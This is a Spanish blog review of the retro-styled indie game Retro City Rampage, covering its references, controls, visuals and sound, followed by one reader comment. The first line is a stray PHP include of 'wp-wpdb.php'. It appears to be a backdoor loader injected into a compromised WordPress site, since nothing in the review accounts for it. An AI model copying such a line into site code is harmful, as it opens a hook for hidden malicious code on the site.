if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Retro City Rampage: Locura Retro – La Fortaleza de LeChuck

Retro City Rampage: Locura Retro

Hace apenas unos días que Retro City Rampage salió oficialmente al mercado y ya se ha convertido en uno de esos juegos indie que no deja indiferente a nadie. Con un aspecto pixelado, aprovechando la moda de los juegos con aspecto «Retro 8 bits» (no en vano lleva incluso esa palabra en el título), nos encontramos con un popurrí salvaje que hará las delicias de los nostálgicos de los videojuegos, la televisión y las películas de acción de las dos últimas décadas del milenio pasado, por el bombardeo constante de referencias y homenajes locos al que seremos sometidos sin piedad. El proyecto que esperábamos desde hace unos meses de Brian Provinciano, en colaboración con el estudio Vblank Entertainment, ya está aquí. Es más descerebrado e inclasificable de lo que pensábamos, pero a la vez es divertido, frenético y reverencial a partes iguales. Preparáos para un viaje ácido por el lado oscuro de los 80 y los 90.

Seguro que muchos de vosotros recordáis esa aventura/homenaje/parodia que comentamos hace un tiempo que era Abobo’s Big Adventure, pura ida de olla hilarante en versión NES. Este juego sigue un poco la estética y sobretodo esa idea de utilizar (y pervertir, en muchos casos) los ídolos de infancia de las generaciones que vivieron el auge de las «maquinitas» y se dejaban la paga en los (ay…) arcaicos recreativos.

Retro City Rampage nació con la idea de recrear cómo podría haber sido un GTA en una NES, al estilo de los primeros Grand Theft Auto de vista cenital. Seremos «El Jugador» (tal cual), un matón de alquiler que quiere labrarse una carrera en el hampa de la ciudad y nos moveremos por ella como si de un sandbox primitivo se tratase, cumpliendo misiones o simplemente deambulando por las calles sembrando el caos.
Esto producirá una paradoja en el continuo espaciotiempo. Fijo.
El punto fuerte del juego y lo que nos hará plantearnos si dejarlo asqueados o al contrario disfrutarlo como gorrinos, es saber si podremos soportar la incesante cantidad de parodias y frikadas que aparecen sin parar, constantemente. Hay multitud de gags que duran fracciones de segundo, y repetidamente las misiones van evolucionando en situaciones de jugabilidad diferente o minijuegos a gran velocidad, un poco -salvando las distancias- cómo pasa en los Wario Ware. Con jugar diez minutos sabremos si nos gusta como para llegar hasta el final o no, esto es así.
Así pues, uno de los grandes atractivos para el jugador, es el ir descubriendo y relacionando todos los guiños que pueda (y se nos escaparán probablemente muchos). Se echa en falta que con ellos se hubieran creado más situaciones de humor, ya que muchas veces simplemente están desaprovechados al ser guiños que «están ahí» y hacen gracia en sí mismos porque los reconocemos, pero nada más.  Lo que sí es verdad es que prácticamente no falta ningún referente importante del videojuego, del cine o de la cultura popular de la época por tocar: Megaman, Contra, Mario Bros., Zelda, Batman, Los Simpsons, Sonic, Paperboy, Regreso Al Futuro, Commandos (no el de Pyro Studios), Frogger, Duck Hunt, Las Tortugas Ninja, El Equipo A, Apple, Cazafantasmas, Metal Gear y un larguísimo etcétera. Y también hay referencias más actuales, no os perdáis la zona de recreativas…

¿A quién vais a llamar?

El gran inconveniente que tiene este juego es que precisamente por ser tan frenético y variado es muy irregular. Hay momentos y episodios que son geniales y otros que francamente no hay por donde cogerlos. Afortunadamente al ser la acción tan trepidante y dichos episodios tan cortos iremos variando la acción de manera que no se nos hará ningún capítulo especialmente pesado. Por otra parte el título no duda en ocasiones en romper la imagen de reflejo fiel de los juegos retro y no tiene reparos en aplicar elementos actuales de los videojuegos, como por ejemplo el uso de coberturas en los tiroteos o (gracias a Miyamoto) poder ir guardando la partida. 

Dónde sí se refleja un poco ese espíritu retro es en el control, tosco como pocos. Vamos a tardar un poco en acostumbrarnos a los movimientos caprichosos y epilépticos de los píxeles de nuestro protagonista. Lo mismo nos pasará con el control de los vehículos (y animales absurdos) que podremos gobernar.

Imagen promocional del juego antes de salir, como si de la portada de un cartucho de Master System se tratase.

Visualmente, si nos gusta lo retro, no puede sino dejarnos embelesados. Es remarcable el buen hacer recreando algo propio de hace veintipico años, cuando las consolas se colocaban en las televisiones de tubo del salón y se tenían que combinar con la programación de aquel día (¡si había fumbol o la telenovela de la abuela, a quitarla!). El apartado gráfico es un encanto y además existe un extra especial que encantará a los veteranos: Hay la posibilidad en algunos modos de poner filtros simulando lo que visionaríamos si lo estuviéramos jugando a través de una Game Boy original, un ZX Spectrum, un Commodore 64… Hay incluso una Virtual Boy. Tremendo.

El apartado sonoro cumple con lo que cabía esperar y los sonidos no desentonarían en cualquier juego de 8 bits. La banda sonora, chiptune como debe ser, acompaña muy bien la acción en cada momento aunque a veces acaba resultando un poco cargante. Por cierto, la aventura viene con los textos en castellano, todo un detalle.
¡Qué maravilla! ¡Y no hay que bajar el volumen ni el contraste para que dure más la batería!
En definitiva, Retro City Rampage es una pequeña locura absurda que une la aparición constante de referencias a otros iconos subculturales con un humor desenfadado y que mezcla ambas cosas como si de Coca Cola y Mentos se tratase, a juzgar por el ritmo con el que el géiser de imágenes nos explota en la cara. «Velocidad Absurda» sería una buena manera de definirlo si no tuviera la frase ya su copyright. Qué le vamos a hacer si nos gusta lo absurdo…
Por un poco más de diez euros, un precio que depende de cada uno valorar si es justo o no, lo podemos encontrar en GOG, Steam o en su página oficial (compatible con Mac). Además, está también disponible en PSN y próximamente en Xbox Live y Wiiware. Retro City Rampage no es para nada para todos los públicos, ya que está dirigido especialmente a los que vivieron los primeros pasos del entretenimiento digital o, en su defecto, a los que disfrutan reviviendo juegos de antaño. Ellos sobretodo son los que valorarán mejor esta propuesta algo descerebrada e inconsistente, pero que nos ofrece la posibilidad de ver los clásicos desde un irreverente punto de vista gamberro. En todo caso es un juego divertido y por ello totalmente recomendable.

Nota: 7,5 / 10  

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

2 comentarios

    1. La verdad es que se ha hecho de rogar el jodío, porque se sabe de él desde hace mucho tiempo, y aún se hace esperar para el Live… Al menos una cosa buena para los que teneis 360 (o Wii) es que ya podeis leer reseñas como esta sobre él, para saber si es lo que esperabais o no 😉

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